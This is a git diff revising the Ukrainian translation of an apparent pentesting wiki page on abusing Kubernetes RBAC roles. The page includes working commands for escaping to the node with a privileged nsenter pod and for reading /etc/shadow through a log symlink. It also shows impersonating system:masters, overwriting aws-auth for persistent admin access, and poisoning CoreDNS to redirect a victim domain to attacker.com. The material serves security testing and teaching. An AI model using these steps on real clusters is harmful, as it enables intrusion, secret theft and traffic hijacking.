diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index b16be10db..e48931430 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Зловживання Ролями/КластерРолями в Kubernetes +# Зловживання Roles/ClusterRoles в Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Тут ви можете знайти деякі потенційно небезпечні конфігурації Ролей та КластерРолей.\ -Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою `kubectl api-resources` +Тут ви можете знайти деякі потенційно небезпечні конфігурації Roles і ClusterRoles.\ +Пам'ятайте, що ви можете отримати весь перелік підтримуваних ресурсів за допомогою `kubectl api-resources` -## **Ескалація Привілеїв** +## **Privilege Escalation** -Це мистецтво отримання **доступу до іншого принципала** в кластері **з іншими привілеями** (в межах кластеру kubernetes або до зовнішніх хмар), в Kubernetes є в основному **4 основні техніки для ескалації привілеїв**: +Під цим розуміється мистецтво отримати доступ до іншого principal у межах кластера з іншими привілеями (в межах Kubernetes кластера або до зовнішніх хмар), ніж ті, що у вас вже є. В Kubernetes фактично є **4 main techniques to escalate privileges**: -- Мати можливість **вдаватись** в інших користувачів/груп/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар -- Мати можливість **створювати/редагувати/виконувати поди**, де ви можете **знайти або приєднати SA** з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар -- Мати можливість **читати секрети**, оскільки токени SA зберігаються як секрети -- Мати можливість **втекти на вузол** з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо є) -- П'ята техніка, яка заслуговує на згадку, це можливість **запускати port-forward** в поді, оскільки ви можете отримати доступ до цікавих ресурсів у цьому поді. +- Мати можливість **impersonate** інших user/groups/SAs з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар +- Мати можливість **create/patch/exec pods**, де ви можете **find or attach SAs** з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар +- Мати можливість **read secrets**, оскільки токени SAs зберігаються як secrets +- Мати можливість **escape to the node** з контейнера, де ви можете вкрасти всі secrets контейнерів, що працюють на вузлі, облікові дані вузла та права вузла у хмарі, де він запущений (якщо є) +- П'ята техніка, яку варто згадати — це здатність **run port-forward** в pod, оскільки ви можете отримати доступ до цікавих ресурсів всередині цього pod. -### Доступ до Будь-якого Ресурсу або Дії (Wildcard) +### Access Any Resource or Verb (Wildcard) -**Джокер (\*) надає дозвіл на будь-який ресурс з будь-якою дією**. Його використовують адміністратори. Усередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері. +The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Доступ до будь-якого ресурсу з певним дієсловом +### Доступ до будь-якого ресурсу з конкретною дією -У RBAC певні дозволи становлять значні ризики: +У RBAC деякі дозволи становлять значну загрозу: -1. **`create`:** Надає можливість створювати будь-який ресурс кластера, що ризикує ескалацією привілеїв. -2. **`list`:** Дозволяє перераховувати всі ресурси, потенційно витікаючи чутливі дані. -3. **`get`:** Дозволяє доступ до секретів з облікових записів служб, що становить загрозу безпеці. +1. **`create`:** Надає можливість створювати будь-який ресурс кластера, що ризикує призвести до privilege escalation. +2. **`list`:** Дозволяє перелічувати всі ресурси, потенційно leaking sensitive data. +3. **`get`:** Дозволяє отримувати secrets з service accounts, що становить загрозу безпеці. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього. +Зловмисник, який має права створювати pod, може приєднати привілейований Service Account до pod і викрасти token, щоб видаватися за цей Service Account, фактично підвищивши свої привілеї. -Приклад пода, який вкраде токен облікового запису служби `bootstrap-signer` і надішле його атакуючому: +Приклад pod, який викраде token service account `bootstrap-signer` та надішле його зловмиснику: ```yaml apiVersion: v1 kind: Pod @@ -74,12 +74,12 @@ hostNetwork: true ``` ### Pod Create & Escape -Наступне вказує на всі привілеї, які може мати контейнер: +Нижче вказано всі привілеї, які може мати контейнер: -- **Привілейований доступ** (вимкнення захистів і налаштування можливостей) -- **Вимкнення простору імен hostIPC та hostPid**, що може допомогти підвищити привілеї -- **Вимкнення простору імен hostNetwork**, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж -- **Монтування хостів / всередині контейнера** +- **Privileged access** (відключення захисту та встановлення capabilities) +- **Disable namespaces hostIPC and hostPid** — що може допомогти ескалації привілеїв +- **Disable hostNetwork** namespace, що дає доступ до викрадення привілеїв хмарних вузлів і кращого доступу до мереж +- **Mount hosts /** всередині контейнера ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -115,45 +115,45 @@ volumes: hostPath: path: / ``` -Створіть под з: +Створіть pod за допомогою: ```bash kubectl --token $token create -f mount_root.yaml ``` -Однорядковий код з [цього твітту](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями: +Однолайнер із [this tweet](https://twitter.com/mauilion/status/1129468485480751104) та з деякими доповненнями: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Тепер, коли ви можете втекти до вузла, перевірте техніки пост-експлуатації в: +Now that you can escape to the node check post-exploitation techniques in: -#### Схованість +#### Stealth -Ви, напевно, хочете бути **схованішими**, на наступних сторінках ви можете побачити, до чого ви зможете отримати доступ, якщо створите под, активувавши лише деякі з вказаних привілеїв у попередньому шаблоні: +Можливо, ви захочете бути **більш непомітним**. На наступних сторінках показано, до чого ви зможете отримати доступ, якщо створите pod, увімкнувши лише деякі з привілеїв, згаданих у попередньому шаблоні: -- **Привілейований + hostPID** -- **Тільки привілейований** +- **Privileged + hostPID** +- **Privileged only** - **hostPath** - **hostPID** - **hostNetwork** - **hostIPC** -_Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів у_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Приклади створення/зловживання наведеними конфігураціями privileged pods можна знайти в_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Створення пода - Перехід до хмари +### Pod Create - Move to cloud -Якщо ви можете **створити** **под** (і, за бажанням, **обліковий запис служби**), ви можете **отримати привілеї в хмарному середовищі**, **призначивши хмарні ролі поду або обліковому запису служби** і потім отримавши до нього доступ.\ -Більше того, якщо ви можете створити **под з простором імен мережі хоста**, ви можете **вкрасти IAM** роль **вузла** екземпляра. +Якщо ви можете **create** **pod** (і опційно **service account**), ви можете **отримати привілеї в cloud environment**, призначивши **cloud roles pod або service account** і потім отримавши до них доступ. +Більше того, якщо ви можете створити **pod з host network namespace**, ви можете **вкрасти роль IAM** екземпляра **node**. -Для отримання додаткової інформації перевірте: +For more information check: {{#ref}} pod-escape-privileges.md {{#endref}} -### **Створення/Патч Деплойментів, Деймонсетів, Станових наборів, Контролерів реплікації, Реплікаційних наборів, Завдань та Кронзавдань** +### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Можливо зловживати цими дозволами, щоб **створити новий под** і отримати привілеї, як у попередньому прикладі. +Можна зловживати цими дозволами, щоб **create a new pod** і **escalate privileges** як у попередньому прикладі. -Наступний yaml **створює деймонсет і ексфільтрує токен SA** всередині пода: +Нижче наведено yaml, який **creates a daemonset and exfiltrates the token of the SA** всередині pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -191,32 +191,31 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** - це ресурс у kubernetes, який використовується для **виконання команд у оболонці всередині пода**. Це дозволяє **виконувати команди всередині контейнерів або отримати оболонку всередині**. +**`pods/exec`** — це ресурс у kubernetes, що використовується для **запуску команд у shell всередині pod**. Це дозволяє **виконувати команди всередині containers або отримати shell всередині**. -Отже, можливо **потрапити всередину пода і вкрасти токен SA**, або увійти в привілейований под, втекти на вузол і вкрасти всі токени подів на вузлі та (зловживати) вузлом: +Тому можливо **отримати доступ до pod і вкрасти токен SA**, або зайти в привілейований pod, escape на node, і вкрасти всі токени pods на node та (ab)use the node: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> За замовчуванням команда виконується в першому контейнері пода. Отримайте **всі контейнери в поді** за допомогою `kubectl get pods -o jsonpath='{.spec.containers[*].name}'`, а потім **вкажіть контейнер**, в якому ви хочете його виконати, за допомогою `kubectl exec -it -c -- sh` - -Якщо це контейнер без дистрибутиву, ви можете спробувати використовувати **вбудовані команди оболонки** для отримання інформації про контейнери або завантажити свої власні інструменти, такі як **busybox**, використовуючи: **`kubectl cp :`**. - +> За замовчуванням команда виконується в першому контейнері pod. Отримайте **усі контейнери в pod** за допомогою `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` і потім **вкажіть контейнер**, в якому хочете виконати команду, за допомогою `kubectl exec -it -c -- sh` +> +> Якщо це distroless контейнер, можна спробувати використовувати **shell builtins** для отримання інформації про контейнери або завантажити власні інструменти, наприклад **busybox**, використовуючи: **`kubectl cp :`**. ### port-forward -Ця дозволяє **перенаправити один локальний порт на один порт у вказаному поді**. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині пода: +Цей дозвіл дозволяє **перенаправити один локальний порт на один порт у вказаному pod**. Це призначено для спрощення налагодження застосунків, що працюють у pod, але зловмисник може зловживати ним, щоб отримати доступ до цікавих (наприклад DBs) або вразливих застосунків (веб-застосунків?) всередині pod: ```bash kubectl port-forward pod/mypod 5000:5000 ``` -### Hosts Writable /var/log/ Escape +### Записуваний на хості /var/log/ — Escape -Як [**вказано в цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити под з **підключеним каталогом `/var/log/`** на ньому, ви можете **втекти з контейнера**.\ -Це в основному тому, що коли **Kube-API намагається отримати логи** контейнера (використовуючи `kubectl logs `), він **запитує файл `0.log`** пода, використовуючи кінцеву точку `/logs/` служби **Kubelet**.\ -Служба Kubelet відкриває кінцеву точку `/logs/`, яка в основному **відкриває файлову систему `/var/log` контейнера**. +As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), якщо ви можете отримати доступ або створити pod з **hosts `/var/log/` directory mounted** на ньому, ви можете **escape from the container**.\ +Це відбувається тому, що коли **Kube-API tries to get the logs** контейнера (використовуючи `kubectl logs `), воно **requests the `0.log`** файл пода через `/logs/` endpoint сервісу **Kubelet**.\ +Сервіс Kubelet відкриває endpoint `/logs/`, який фактично **відкриває файлову систему `/var/log` контейнера**. -Отже, зловмисник з **доступом на запис у папку /var/log/** контейнера може зловживати цією поведінкою двома способами: +Тому, атакувальник з **access to write in the /var/log/ folder** контейнера може зловживати цією поведінкою двома способами: -- Модифікуючи файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`), щоб він був **символічним посиланням на `/etc/shadow`**, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши: +- Змінивши файл `0.log` свого контейнера (зазвичай розташований у `/var/logs/pods/namespace_pod_uid/container/0.log`) так, щоб він був **symlink pointing to `/etc/shadow`**, наприклад. Тоді ви зможете exfiltrate hosts shadow file, виконавши: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -224,7 +223,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Якщо зловмисник контролює будь-який принципал з **дозволами на читання `nodes/log`**, він може просто створити **symlink** в `/host-mounted/var/log/sym` на `/` і, коли **доступаючи до `https://:10250/logs/sym/`, він отримає список кореневої** файлової системи хосту (зміна symlink може надати доступ до файлів). +- Якщо атакувальник контролює будь-який principal з **дозволами на читання `nodes/log`**, він може просто створити **symlink** у `/host-mounted/var/log/sym`, що вказує на `/`, і при **доступі до `https://:10250/logs/sym/` він побачить список кореневої** файлової системи хоста (зміна symlink може надати доступ до файлів). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -236,23 +235,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Лабораторія та автоматизований експлойт можна знайти за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Лабораторія та автоматизований експлойт доступні за** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### Обхід захисту readOnly -Якщо вам пощастить, і високо привілейована можливість `CAP_SYS_ADMIN` доступна, ви можете просто змонтувати папку знову як rw: +Якщо вам пощастить і доступна високо-привілейована capability capability `CAP_SYS_ADMIN`, ви можете просто перемонтувати папку як rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Обхід захисту hostPath readOnly +#### Bypassing hostPath readOnly protection -Як зазначено в [**цьому дослідженні**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), можливо обійти захист: +Як зазначено в [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), можливо обійти захист: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Який мав на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath mount, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис: +Це мало запобігти втечам, подібним до попередніх: замість використання hostPath mount — використати PersistentVolume і PersistentVolumeClaim, щоб змонтувати папку hosts у контейнері з можливістю запису: ```yaml apiVersion: v1 kind: PersistentVolume @@ -300,9 +299,9 @@ name: task-pv-storage-vol ``` ### **Імітація привілейованих облікових записів** -З привілеєм [**імітації користувача**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) зловмисник може імітувати привілейований обліковий запис. +Маючи привілей [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), зловмисник може видати себе за привілейований обліковий запис. -Просто використовуйте параметр `--as=` в команді `kubectl`, щоб імітувати користувача, або `--as-group=`, щоб імітувати групу: +Просто використайте параметр `--as=` в команді `kubectl`, щоб імітувати користувача, або `--as-group=` щоб імітувати групу: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -315,15 +314,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Listing Secrets +### Перелік Secrets -Дозвіл на **перегляд секретів може дозволити зловмиснику фактично прочитати секрети**, отримуючи доступ до REST API кінцевої точки: +Дозвіл на **list secrets може дозволити зловмиснику фактично прочитати secrets**, отримавши доступ до REST API endpoint: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Створення та читання секретів +### Створення та читання Secrets -Існує особливий вид секрету Kubernetes типу **kubernetes.io/service-account-token**, який зберігає токени облікових записів сервісів. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису сервісу, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису сервісу жертви з нього: +Існує спеціальний тип Kubernetes secret типу **kubernetes.io/service-account-token**, який зберігає serviceaccount tokens. +Якщо у вас є права створювати і читати secrets, і ви також знаєте ім'я serviceaccount, ви можете створити secret наступним чином і потім вкрасти token відповідного serviceaccount з нього: ```yaml apiVersion: v1 kind: Secret @@ -382,17 +382,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Зверніть увагу, що якщо вам дозволено створювати та читати секрети в певному просторі імен, обліковий запис служби жертви також повинен бути в тому ж просторі імен. +Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. -### Читання секрету – брутфорсинг ID токенів -Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею _**переліку секретів**_, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких пов'язаний з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до [джерела коду](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +### Читання secret – brute-forcing token IDs -Токен генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб. +Хоча зловмиснику, який має token з правами читання, потрібна точна назва secret для його використання (на відміну від ширшої привілеї _**listing secrets**_), все одно існують вразливості. Default service accounts у системі можна перерахувати, кожен пов'язаний із secret. Ці secrets мають структуру імені: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий token (без певних символів) згідно з [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -### EncrpytionConfiguration у відкритому тексті +Token генерується з обмеженого набору з 27 символів (`bcdfghjklmnpqrstvwxz2456789`), а не повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник теоретично може виконати brute-force атаку, щоб визначити token за кілька годин, що потенційно може призвести до privilege escalation шляхом доступу до конфіденційних service accounts. -Можливо знайти ключі у відкритому тексті для шифрування даних у спокої в цьому типі об'єкта, таких як: +### EncrpytionConfiguration in clear text + +Можна знайти ключі у відкритому вигляді для шифрування data at rest в об'єкті такого типу, наприклад: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -449,13 +450,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Запити на підписання сертифікатів +### Certificate Signing Requests -Якщо у вас є дієслово **`create`** в ресурсі `certificatesigningrequests` (або принаймні в `certificatesigningrequests/nodeClient`). Ви можете **створити** новий CeSR для **нового вузла.** +Якщо у вас є вербси **`create`** у ресурсі `certificatesigningrequests` (або принаймні у `certificatesigningrequests/nodeClient`), ви можете **створити** новий CeSR для **нового вузла.** -Згідно з [документацією, можливо автоматично схвалити ці запити](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в `certificatesigningrequests/approval` та `approve` в `signers` з resourceName `/` або `/*` +Згідно з [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), тому в цьому випадку вам **не потрібні додаткові дозволи**. Якщо ні, вам потрібно мати можливість approve запит, що означає право update у `certificatesigningrequests/approval` та `approve` у `signers` з resourceName `/` або `/*` -**Приклад ролі** з усіма необхідними дозволами: +Приклад **role** з усіма необхідними дозволами є: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -486,19 +487,19 @@ resourceNames: verbs: - approve ``` -Отже, з новим затвердженим CSR вузла ви можете **зловживати** спеціальними правами вузлів, щоб **викрасти секрети** та **підвищити привілеї**. +Отже, після схвалення нового node CSR ви можете **abuse** спеціальні дозволи nodes, щоб **steal secrets** і **escalate privileges**. -У [**цьому пості**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**цьому**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **автоматичним підписанням**, і це зловживається для генерації облікових даних нового вузла K8s, а потім ці облікові дані зловживаються для підвищення привілеїв шляхом викрадення секретів.\ -Якщо ви **маєте згадані привілеї, ви могли б зробити те ж саме**. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки **вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.** +У [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) та [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) конфігурація GKE K8s TLS Bootstrap налаштована з **automatic signing**, і це використовується для генерації credentials нового K8s Node, після чого можна **abuse** їх для **escalate privileges** та **steal secrets**.\ +Якщо ви **маєте згадані привілеї, ви могли б зробити те саме**. Зверніть увагу, що перший приклад обходить помилку, яка перешкоджає новому node отримати доступ до secrets всередині containers, оскільки **node can only access the secrets of containers mounted on it.** -Спосіб обійти це - просто **створити облікові дані вузла для імені вузла, де змонтовано контейнер з цікавими секретами** (але просто перевірте, як це зробити в першому пості): +Спосіб обійти це — просто **create a node credentials for the node name where the container with the interesting secrets is mounted** (але дивіться, як це зроблено у першому пості): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -Принципали, які можуть змінювати **`configmaps`** в просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати привілеї адміністратора кластера, перезаписуючи **aws-auth** configmap.\ -Необхідні дієслова: **`update`** та **`patch`**, або **`create`**, якщо configmap не був створений: +Принципали, які можуть змінювати **`configmaps`** у просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати права адміністратора кластера, перезаписавши **aws-auth** configmap.\ +Необхідні verbs — **`update`** та **`patch`**, або **`create`**, якщо configmap не було створено: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -538,18 +539,18 @@ groups: - system:masters ``` > [!WARNING] -> Ви можете використовувати **`aws-auth`** для **постійного доступу** до користувачів з **інших облікових записів**. +> Ви можете використовувати **`aws-auth`** для **persistence**, що дає доступ користувачам з **інших облікових записів**. > -> Однак, `aws --profile other_account eks update-kubeconfig --name ` **не працює з іншого облікового запису**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо ви введете ARN кластера замість просто назви.\ -> Щоб `kubectl` працював, просто переконайтеся, що **налаштували** **kubeconfig жертви** і в аргументах exec aws додайте `--profile other_account_role`, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS. +> Однак `aws --profile other_account eks update-kubeconfig --name ` **не працює з іншого акаунту**. Але насправді `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` працює, якщо вказати ARN кластера замість просто імені.\ +> Щоб `kubectl` працював, просто переконайтеся, що ви **налаштували** **kubeconfig жертви** і в aws exec args додали `--profile other_account_role`, щоб kubectl використовував профіль іншого акаунту для отримання токена та зв'язку з AWS. ### CoreDNS config map -Якщо у вас є дозволи на зміну **`coredns` configmap** в просторі імен `kube-system`, ви можете змінити адреси, до яких будуть розв'язуватись домени, щоб мати можливість виконувати атаки MitM для **викрадення чутливої інформації або впровадження шкідливого контенту**. +Якщо у вас є права на зміну **`coredns` configmap** в неймспейсі `kube-system`, ви можете змінити адреси, до яких вирішуються домени, щоб виконувати MitM-атаки для **викрадення конфіденційної інформації або впровадження шкідливого вмісту**. -Необхідні дієслова - **`update`** та **`patch`** над **`coredns`** configmap (або всіма config maps). +Необхідні дієслова — **`update`** та **`patch`** над **`coredns`** configmap (або над усіма config map). -Звичайний **файл coredns** містить щось на зразок цього: +Звичайний **файл coredns** містить приблизно таке: ```yaml data: Corefile: | @@ -579,58 +580,75 @@ reload loadbalance } ``` -Атакуючий може завантажити його, запустивши `kubectl get configmap coredns -n kube-system -o yaml`, змінити його, додавши щось на кшталт `rewrite name victim.com attacker.com`, так що щоразу, коли доступ до `victim.com`, насправді буде доступ до домену `attacker.com`. А потім застосувати це, запустивши `kubectl apply -f poison_dns.yaml`. +Зловмисник може завантажити його, виконавши `kubectl get configmap coredns -n kube-system -o yaml`, змінити, додавши, наприклад, `rewrite name victim.com attacker.com`, тож коли звертаються до `victim.com`, фактично буде доступний `attacker.com`. Потім застосувати зміни командою `kubectl apply -f poison_dns.yaml`. -Інший варіант - просто відредагувати файл, запустивши `kubectl edit configmap coredns -n kube-system` і внести зміни. +Інший варіант — просто відредагувати файл через `kubectl edit configmap coredns -n kube-system` і внести зміни. ### Ескалація в GKE -Є **2 способи призначити K8s дозволи GCP принципалам**. У будь-якому випадку принципал також потребує дозволу **`container.clusters.get`**, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде **згенерувати свій власний файл конфігурації kubectl** (перейдіть за наступним посиланням). +Існує **2 способи призначити K8s дозволи суб'єктам GCP**. У будь-якому випадку суб'єкту також потрібен дозвіл **`container.clusters.get`**, щоб отримати облікові дані для доступу до кластера, або вам доведеться **згенерувати власний kubectl config файл** (перейдіть за наступним посиланням). > [!WARNING] -> Коли ви звертаєтеся до K8s api endpoint, **GCP auth token буде надіслано**. Потім GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за електронною поштою) **будь-який доступ всередині кластера**, потім перевірить, чи має він **будь-який доступ через GCP IAM**.\ -> Якщо **будь-який** з цих пунктів **істинний**, він отримає **відповідь**. Якщо **ні**, буде надана **помилка**, що пропонує надати **дозволи через GCP IAM**. +> При зверненні до K8s api endpoint буде відправлено **GCP auth token**. Далі GCP, через K8s api endpoint, спочатку **перевірить, чи має принципал** (за email) **доступ всередині кластера**, потім перевірить, чи має він **доступ через GCP IAM**.\ +> Якщо **хоч би одне** з цих тверджень істинне, буде **надано доступ**. Якщо **ні**, буде повернута **помилка** з підказкою надати **дозволи через GCP IAM**. -Отже, перший метод - це використання **GCP IAM**, дозволи K8s мають свої **еквівалентні дозволи GCP IAM**, і якщо принципал їх має, він зможе їх використовувати. +Перший метод — використання **GCP IAM**: K8s дозволи мають свої **еквівалентні дозволи в GCP IAM**, і якщо принципал їх має, він зможе ними скористатися. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Другий метод - це **призначення K8s дозволів всередині кластера** шляхом ідентифікації користувача за його **електронною поштою** (включаючи облікові записи служб GCP). +Другий метод — **призначення K8s дозволів всередині кластера** користувачу, ідентифікованому за його **email** (включно з сервісними акаунтами GCP). ### Створення токена serviceaccounts -Принципали, які можуть **створювати TokenRequests** (`serviceaccounts/token`) при зверненні до K8s api endpoint SAs (інформація з [**тут**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Принципали, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду на інших подах**, і потенційно **вийти** на свій вузол, додавши епhemeral контейнер з привілейованим securityContext. +Принципали, які можуть **`update`** або **`patch`** **`pods/ephemeralcontainers`**, можуть отримати **виконання коду в інших pods**, і потенційно **вийти на ноду**, додавши ephemeral container з привілейованим securityContext -### ValidatingWebhookConfigurations або MutatingWebhookConfigurations +### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -Принципали з будь-якими з дієслів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть бути здатні **створити одну з таких webhookconfigurations**, щоб мати можливість **ескалації привілеїв**. +Принципали з будь-яким із глаголів `create`, `update` або `patch` над `validatingwebhookconfigurations` або `mutatingwebhookconfigurations` можуть мати можливість **створити одну з таких webhookconfigurations** з метою **ескалації привілеїв**. -Для [`mutatingwebhookconfigurations` прикладу перевірте цей розділ цього посту](#malicious-admission-controller). +For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). -### Ескалація +### Escalate -Як ви можете прочитати в наступному розділі: [**Вбудоване запобігання ескалації привілеїв**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, якщо він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні параметри зв'язування.\ -Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що він має. +Як ви можете прочитати в наступному розділі: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати roles чи clusterroles, якщо сам не має цих нових дозволів. За винятком випадку, коли він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні опції binding.\ +Тоді він може оновлювати/створювати нові roles, clusterroles з більшими дозволами, ніж ті, що у нього є. -### Проксі вузлів +### Nodes proxy -Принципали з доступом до підресурсу **`nodes/proxy`** можуть 